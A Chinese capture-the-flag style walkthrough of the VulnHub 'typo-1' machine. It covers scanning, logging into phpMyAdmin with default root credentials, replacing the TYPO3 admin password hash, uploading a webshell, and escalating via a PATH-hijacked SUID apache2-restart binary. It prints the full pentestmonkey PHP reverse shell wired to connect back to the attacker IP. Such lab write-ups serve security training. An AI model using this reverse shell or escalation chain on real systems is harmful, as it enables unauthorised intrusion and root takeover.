打靶-typo1

前言

环境地址:https://www.vulnhub.com/entry/typo-1,472/

kali IP:192.168.131.28

目的机ip :192.168.131.82

渗透过程

老规矩

虽然靶机给了ip,流程还是要走走的

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arp-scan -l

image-20240806202457396

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nmap -sV -A 192.168.131.82
sudo nmap -sS -sV -sC -p- 192.168.131.82-oN nmap_full_scan
nmap -A -v -sV -T5 -p- --script=http-enum 192.168.131.82

image-20240806202730091

访问80端口发现是typo3cms

image-20240806223552987

但是pagenotfound

dirsearch扫描发现了INSTALL.md文档,

image-20240806224046819

通过查看其中的网址来看

image-20240806224210733

安装更新路径在typo3/install.php

发现登录被锁

image-20240806224249265

访问index.php

发现了登录界面,尝试了几个弱密码发现失败

尝试一下其他端口,8080一个hello发现没啥,8081是phpmyadmin/

root root直接登录成功

image-20240806224538881我直接一手改管理员密码

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$argon2id$v=19$m=65536,t=16,p=2$Q2E3NG1YeTE5NkkxSi5hMg$Hn5lqwQnbYjlnZMPahFHjEWhCDwOcbDKjg3RrTfrVuE

我也不知道是啥密码,问了一手GPT

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#!/usr/bin/python3

from argon2 import PasswordHasher

ph = PasswordHasher()
hash = ph.hash('q1ngchuan')
print(hash)
//$argon2id$v=19$m=65536,t=3,p=4$avXnZDtGf4ulHoQrz5+hXw$B5w7eRbzxxwWrYcOx4wZ5qPTrrmit9yk//t6bvGNonU

更换后保存,登陆直接成功

到配置界面

image-20240806225827401

image-20240806225857816

清空内容,点Wirte

去找文件上传的点

image-20240806230101578

上传成功后

image-20240806230122830

点击小眼睛查看发现成功

之后连接蚁剑

接下来就是提权了

sudo -l 发现不行

试试suid提权

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find / -perm -u=s -exec ls -al {} \; 2> /dev/null

image-20240806230646221

说实话我看到这我也不知道哪个能提取,可疑的是ssh和apache

后面了解到

apache-restart会有service,服务重启是root权限,尝试执行apache-restart

尝试写service

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echo 'cp /bin/bash /tmp/bash;chmod 777 /tmp/bash' > /tmp/service
chmod 777 /tmp/service
export PATH=/tmp:$PATH
apache2-restart
/tmp/bash -p

这里反应过来连蚁剑不行

利用php-reverse-shell.php文件上传后,访问自动触发shell

贴一下脚本

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<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.131.28'; // CHANGE THIS
$port = 999; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0); // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}

?>

image-20240806232750699

总结

apache-restart服务提权,利用service写提权

反弹shell脚本php-reverse-shell.php注意利用